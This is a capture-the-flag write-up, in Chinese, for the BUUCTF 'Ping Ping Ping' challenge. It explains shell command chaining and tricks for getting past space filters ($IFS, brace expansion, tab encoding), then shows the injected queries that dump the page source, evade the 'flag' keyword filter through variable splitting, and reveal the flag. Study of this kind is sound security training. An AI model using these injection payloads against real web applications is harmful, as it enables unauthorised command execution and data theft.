【BUUCTF】[GXYCTF2019]Ping Ping Ping Writeup

资料来源于这个博客

理论基础

命令联合执行

URL编码:一种百分号和数字字母的组合形式,类似于:%0a.

;     前面的执行完执行后面的
| 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)
|| 当前面的执行出错时(为假)执行后面的
& 将任务置于后台执行
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真

url编码
%0a (换行)
%0d (回车)

绕过空格

起因:在URL当中的普通输入的空格被过滤导致命令无法执行,需寻找替代品

IFS: Linux内置环境变量
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)

联合查询例子如下:

?ip=127.0.0.1;cat$IFS$9`ls`

$IFS在Linux下表示为空格
$9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字

这里$IFS$9$IFS垂直,后面加个$与{}类似,起截断作用.简单说,$IFS$1是一个整体

解题

直接查询

查询
?ip=127.0.0.1;ifconfig
返回
PING 127.0.0.1 (127.0.0.1): 56 data bytes
eth0 Link encap:Ethernet HWaddr 82:0A:99:FB:28:6E
inet addr:10.244.80.11 Bcast:0.0.0.0 Mask:255.255.255.255
UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1
RX packets:39 errors:0 dropped:0 overruns:0 frame:0
TX packets:26 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:5154 (5.0 KiB) TX bytes:2210 (2.1 KiB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:43 errors:0 dropped:0 overruns:0 frame:0
TX packets:43 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:7960 (7.7 KiB) TX bytes:7960 (7.7 KiB)
证明是Linux系统


查询
?ip=127.0.0.1;ls
返回
index.php
flag.php

试图直接展示
?ip=127.0.0.1;cat flag.php
返回
/?ip=fxck your space!
测试了下所有的类似于cat,tac的显示,均无法显示

换空格

- 换空格
?ip=127.0.0.1;cat$IFS$flag.php
返回
/?ip=fxck your space!

- 获取过滤源码
?ip=127.0.0.1|cat$IFS$1index.php
返回
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "

";
print_r($a);
}
?>

- 分析源码
1.正则表达式过滤:
特殊字符 &/?*<|[\x{00}-\x{20}]>'"\()[]{} 空格 /bash/
文件名贪婪匹配过滤:*f*l*a*g* =意味着=> 无法使用f\l\a\g.php,flag.php等
2.变量$a

尝试绕过

尝试覆盖
?ip=127.0.0.1;a=f;cat$IFS$1$alag.php 错误
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php 无
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php 错误
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 有flag
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php 错误
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag

注释当中找到flag
flag{7bbe778b-9dda-4980-8532-9deb7904bd14}